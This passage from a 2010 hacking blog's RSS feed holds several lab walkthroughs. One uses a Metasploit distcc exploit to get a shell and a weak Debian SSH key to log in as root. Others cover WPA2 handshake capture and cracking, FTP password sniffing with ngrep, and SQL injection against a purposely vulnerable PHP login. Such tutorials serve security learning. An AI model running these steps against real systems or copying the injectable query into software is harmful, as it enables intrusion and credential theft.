       =[ svn r9671 updated today (2010.07.03)<br />
</code><br />
msf &gt; search distcc<br />
[*] Searching loaded modules for pattern 'distcc'...<br />
<code><br />
Exploits<br />
========<br />
</code><code><br />
   Name                   Rank       Description<br />
   ----                   ----       -----------<br />
   unix/misc/distcc_exec  excellent  DistCC Daemon Command Execution<br />
</code><code><br />
msf &gt; use unix/misc/distcc_exec<br />
msf exploit(distcc_exec) &gt; show options<br />
</code><code><br />
Module options:<br />
</code><code><br />
   Name   Current Setting  Required  Description<br />
   ----   ---------------  --------  -----------<br />
   RHOST                   yes       The target address<br />
   RPORT  3632             yes       The target port<br />
</code><br />
<code><br />
Exploit target:<br />
</code><code><br />
   Id  Name<br />
   --  ----<br />
   0   Automatic Target<br />
</code><code><br />
msf exploit(distcc_exec) &gt; set RHOST 10.113.8.102<br />
RHOST =&gt; 10.113.8.102<br />
msf exploit(distcc_exec) &gt; show payloads<br />
</code><code><br />
Compatible Payloads<br />
===================<br />
</code><code><br />
   Name                   Rank    Description<br />
   ----                   ----    -----------<br />
   cmd/unix/bind_perl     normal  Unix Command Shell, Bind TCP (via perl)<br />
   cmd/unix/bind_ruby     normal  Unix Command Shell, Bind TCP (via Ruby)<br />
   cmd/unix/generic       normal  Unix Command, Generic command execution<br />
   cmd/unix/reverse       normal  Unix Command Shell, Double reverse TCP (telnet)<br />
   cmd/unix/reverse_perl  normal  Unix Command Shell, Reverse TCP (via perl)<br />
   cmd/unix/reverse_ruby  normal  Unix Command Shell, Reverse TCP (via Ruby)<br />
</code><code><br />
msf exploit(distcc_exec) &gt; set payload cmd/unix/bind_perl<br />
payload =&gt; cmd/unix/bind_perl<br />
msf exploit(distcc_exec) &gt; show options<br />
</code><code><br />
Module options:<br />
</code><code><br />
   Name   Current Setting  Required  Description<br />
   ----   ---------------  --------  -----------<br />
   RHOST  10.113.8.102     yes       The target address<br />
   RPORT  3632             yes       The target port<br />
</code><code><br />
Payload options (cmd/unix/bind_perl):<br />
</code><code><br />
   Name   Current Setting  Required  Description<br />
   ----   ---------------  --------  -----------<br />
   LPORT  4444             yes       The listen port<br />
   RHOST  10.113.8.102     no        The target address<br />
</code><code><br />
Exploit target:<br />
</code><code><br />
   Id  Name<br />
   --  ----<br />
   0   Automatic Target<br />
</code><code><br />
msf exploit(distcc_exec) &gt; exploit<br />
</code><code><br />
[*] Started bind handler<br />
[*] Command shell session 1 opened (10.113.10.116:55064 -&gt; 10.113.8.102:4444) at Sat Jul 03 11:54:29 +0100 2010<br />
</code><code><br />
whoami; uname -ar<br />
daemon<br />
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux<br />
cat /root/.ssh/authorized_keys<br />
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable<br />
</code><br />
Excellent, so we managed to get a bind shell working and now have command execution on the target system.. but what else can we do?  Well we should be able to use their ssh key and login as root.  First we must download: debian_ssh_rsa_2048_x86.tar.bz2.  You can quickly pop that into google and find a place to download such as <a href="http://www.mediafire.com/?is5llmey0jg">here</a>.  Once you have downloaded it, un-compress it, then perform the following steps:<br />
<code><br />
* SNIP *<br />
rsa/2048/22395760ea6265919ef5db8d26dda56c-17578<br />
rsa/2048/e311fc52da0d062cd6e9a507a7470db8-15835.pub<br />
rsa/2048/ae88b6e25a832541ac60978e90fb40fe-28014<br />
rsa/2048/759ee1c853d2fcc07a13e6867ed75a35-26843<br />
rsa/2048/22817b9fcfca9c043d6d48dac528b0a6-3298<br />
rsa/2048/cd84c0196af31046b45037f39208c9c1-11710<br />
rsa/2048/9634a42c34d72e776593a9f1ddd38085-2633<br />
rsa/2048/1668b5d4171480a6359c0966ded47550-15730<br />
rsa/2048/b8a7774ef9e5b9b2b73a685e509b899b-2131<br />
root@bt:~/rsa/2048# grep -lir AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub<br />
</code><code><br />
57c3115d77c56390332dc5c49978627a-5429.pub<br />
 root@bt:~/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.113.8.102<br />
Last login: Sat Jul  3 07:01:04 2010 from 10.113.10.116<br />
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686<br />
</code><code><br />
The programs included with the Ubuntu system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
</code><code><br />
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br />
applicable law.<br />
</code><code><br />
To access official Ubuntu documentation, please visit:</p>
<p>http://help.ubuntu.com/</p>
<p>You have mail.<br />
root@metasploitable:~#<br />
</code><br />
So we managed to get a shell on the vulnerable system <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/247/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=247&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/03/hacking-distcc-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking WPA2 Wireless Networks&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/06/20/hacking-wpa2-wireless-networks/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/06/20/hacking-wpa2-wireless-networks/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 19:17:51 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=241</guid>
		<description><![CDATA[Hey, I decided to document how to break into a WPA2 enabled wireless network, so I setup my LinkSys WRT54G wireless router over the weekend, here is how I broke into it: root@bt:~# airmon-ng stop wlan0 Interface Chipset Driver wlan0 ZyDAS 1211 zd1211rw - [phy1] (monitor mode disabled) Start the wireless card in monitor mode: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=241&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>I decided to document how to break into a WPA2 enabled wireless network, so I setup my LinkSys WRT54G wireless router over the weekend, here is how I broke into it:<br />
<code><br />
root@bt:~# airmon-ng stop wlan0<br />
Interface       Chipset         Driver<br />
wlan0           ZyDAS 1211      zd1211rw - [phy1]<br />
                               (monitor mode disabled)<br />
</code><br />
Start the wireless card in monitor mode:<br />
<code><br />
root@bt:~# airmon-ng start wlan0<br />
Interface       Chipset         Driver<br />
wlan0           ZyDAS 1211      zd1211rw - [phy1]<br />
                               (monitor mode enabled on mon0)<br />
</code><br />
Now we want to run airodump-ng and filter out all the other access points and clients so that we only capture the handshake for our target access point (HackMe):<br />
<code><br />
root@bt:~#   airodump-ng --bssid 00:0C:41:9D:C7:5C --channel 6 --write HackMe-Demo mon0<br />
</code><code><br />
 CH  6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C<br />
</code><code><br />
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID<br />
</code><code><br />
 00:0C:41:9D:C7:5C    0 100      316       38    0   6  54   WPA2 CCMP   PSK  HackMe]<br />
</code><code><br />
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes<br />
</code><code><br />
 00:0C:41:9D:C7:5C  00:21:5C:90:2D:89    0    1 - 1    126      456  HackMe<br />
</code><code><br />
root@bt:~#<br />
</code><br />
Whilst we leave airodump-ng capturing packets and waiting for the WPA Handshake, we can speed things up a little using aireplay-ng.  We can force one of the associated clients to de-auth and it will automatically re-authenticate itself with the access point allowing us to capture the WPA Handshake:<br />
<code><br />
root@bt:~# aireplay-ng -0 1 -a  00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0<br />
19:44:42  Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6<br />
19:44:43  Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [126|184 ACKs]<br />
root@bt:~# aireplay-ng -0 1 -a  00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0<br />
19:44:48  Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6<br />
19:44:48  Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [ 0|169 ACKs]<br />
root@bt:~# aireplay-ng -0 1 -a  00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0<br />
19:44:50  Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6<br />
19:44:51  Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [185|179 ACKs]<br />
root@bt:~#<br />
</code><br />
Excellent, as you can see we managed to capture the WPA Handshake, let&#8217;s crack it and get the WPA passphrase we can then use to connect to the wireless network:<br />
<code><br />
 CH  6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C<br />
</code><br />
<code><br />
root@bt:~# aircrack-ng -a 2 -b  00:0C:41:9D:C7:5C -e HackMe -w password.txt HackMe-Demo-01.cap<br />
Opening HackMe-Demo-01.cap<br />
Reading packets, please wait...<br />
</code></p>
<p><code><br />
                                 Aircrack-ng 1.1 r1729<br />
</code><br />
<code><br />
                   [00:00:00] 4 keys tested (67.32 k/s)<br />
</code><br />
<code><br />
                           KEY FOUND! [ password ]<br />
</code><br />
<code><br />
      Master Key     : 52 EC 07 C0 95 E6 7B 26 DD 40 59 67 10 7C F6 F7<br />
                       BE EF E6 66 8D 70 A6 1C 56 BE F5 DD A2 B8 5D 32<br />
</code><code><br />
      Transient Key  : 41 3E E2 11 47 CA DA EC 39 FA B8 23 79 4C 01 6A<br />
                       AC B3 C0 45 FE 62 3F BF 4F 0A A9 B0 63 A1 AC 2E<br />
                       D4 9C C6 09 C1 A9 82 A8 68 1B 71 BC 65 72 BE 97<br />
                       C6 A8 2F A9 12 DA 08 C6 73 A5 90 DD E9 EF 5F 66<br />
</code><code><br />
      EAPOL HMAC     : CA E1 1F 29 45 9A 1D 5D 1B 25 BF 51 92 1A 95 A9<br />
root@bt:~#<br />
</code><br />
Yay! We got the passphrase, which was &#8220;password&#8221; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/241/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=241&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/06/20/hacking-wpa2-wireless-networks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Grepping packets with Ngrep&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/06/19/grepping-packets-with-ngrep/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/06/19/grepping-packets-with-ngrep/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 19:42:56 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Sniffing]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=234</guid>
		<description><![CDATA[Hey, I was playing with a neat little tool the other day called, ngrep. Or Network Grep. It basically takes the functionality of the GNU grep utility and puts it to use on network layer packets The following is a paragraph from the man page which helps sum it up better: grep strives to provide [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=234&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>I was playing with a neat little tool the other day called, ngrep. Or Network Grep.  It basically takes the functionality of the GNU grep utility and puts it to use on network layer packets <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />   The following is a paragraph from the man page which helps sum it up better:<br />
<code><br />
grep strives to provide most of GNU grep's common features, applying them to the network layer.  ngrep is a pcap-aware tool that will allow you to specify extended regular expressions to  match against  data  payloads  of packets.  It currently recognizes TCP, UDP and ICMP across Ethernet, PPP, SLIP, FDDI and null interfaces, and understands bpf filter logic in the same fashion as more common packet sniffing tools, such as tcpdump(8) and snoop(1).<br />
</code><br />
Let&#8217;s take a quick look at one of the uses for ngrep that may seem attractive:<br />
<code><br />
[zoidberg@/dev/null:~ ] $ sudo ngrep -d wlan0 -i 'USER|PASS' tcp port 21<br />
interface: wlan0 (192.168.1.0/255.255.255.0)<br />
filter: (ip or ip6) and ( tcp port 21 )<br />
match: USER|PASS<br />
############<br />
T 192.168.1.68:39404 -&gt; 130.89.149.226:21 [AP]<br />
  USER ftp..<br />
##<br />
T 130.89.149.226:21 -&gt; 192.168.1.68:39404 [AP]<br />
  331 Please specify the password...<br />
##<br />
T 192.168.1.68:39404 -&gt; 130.89.149.226:21 [AP]<br />
  PASS this.is.my@password.com..<br />
############<br />
</code><br />
Pretty neat huh? Another cool option worth looking into is -K  (is kill matching TCP connections), however I will leave it up to your imagination to take it further&#8230; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  If you find a neat use for this tool then please leave a comment, anyway, until the next time, see ya!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/234/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/234/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/234/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=234&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/06/19/grepping-packets-with-ngrep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>SQLi: Silly PHP Authentication&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/06/18/sqli-silly-php-authentication/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/06/18/sqli-silly-php-authentication/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 22:37:27 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=226</guid>
		<description><![CDATA[Hey, I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don&#8217;t have any then they can take advantage of it using SQL Injection, let&#8217;s take a quick look [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=226&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>I wrote a silly little PHP based authentication page.  It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials.  If they don&#8217;t have any then they can take advantage of it using SQL Injection, let&#8217;s take a quick look at it.  First you will need to create a MySQL database:<br />
<code><br />
mysql&gt; create table userauth  (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));<br />
Query OK, 0 rows affected (0.00 sec)<br />
mysql&gt; insert into userauth (id, username, pswd) values (1, "zoidberg", "password");<br />
Query OK, 1 row affected (0.00 sec)<br />
mysql&gt; select * from userauth;<br />
+----+----------+----------+<br />
| id | username | pswd     |<br />
+----+----------+----------+<br />
|  1 | zoiddberg     | password |<br />
+----+----------+----------+<br />
1 row in set (0.00 sec)<br />
mysql&gt;<br />
</code><br />
Now to create the login page:<br />
<code><br />
&lt;?php<br />
        function authenticate_user()<br />
        {<br />
                header('WWW-Authenticate: Basic realm="Private Area"');<br />
                header("HTTP/1.0 401 Unauthorized");<br />
                exit;<br />
        }<br />
        if (!isset($_SERVER['PHP_AUTH_USER'])) {<br />
                authenticate_user();<br />
        } else {<br />
                mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");<br />
                mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");<br />
                $query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";<br />
                $result = mysql_query($query);<br />
                if (mysql_num_rows($result) == 0) {<br />
                        authenticate_user();<br />
                } else {<br />
                        echo "Welcome to the Private Area... <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ";<br />
                }<br />
        }<br />
?&gt;<br />
</code><br />
Now to take advantage <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Navigate to the page in your browser, and enter the following in the username field:<br />
<code><br />
' OR '1'='1'--<br />
</code><br />
To understand this let&#8217;s take a look at the MySQL query:<br />
<code><br />
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";<br />
</code><br />
So that is what the query looks like, well when we inject &#8216; OR &#8217;1&#8242;=&#8217;1&#8242;&#8211;  into the username field, it then looks like this:<br />
<code><br />
$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--                    AND pswd='$_SERVER[PHP_AUTH_PW]'";<br />
</code><br />
Remember that &#8212; is a MySQL comment, so everything after it gets left out of the query that gets sent to the database.  So our query which gets passed to the database looks like this:<br />
<code><br />
$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--<br />
</code><br />
What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  very simple and contrived example.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/226/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=226&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/06/18/sqli-silly-php-authentication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
	</channel>
</rss>
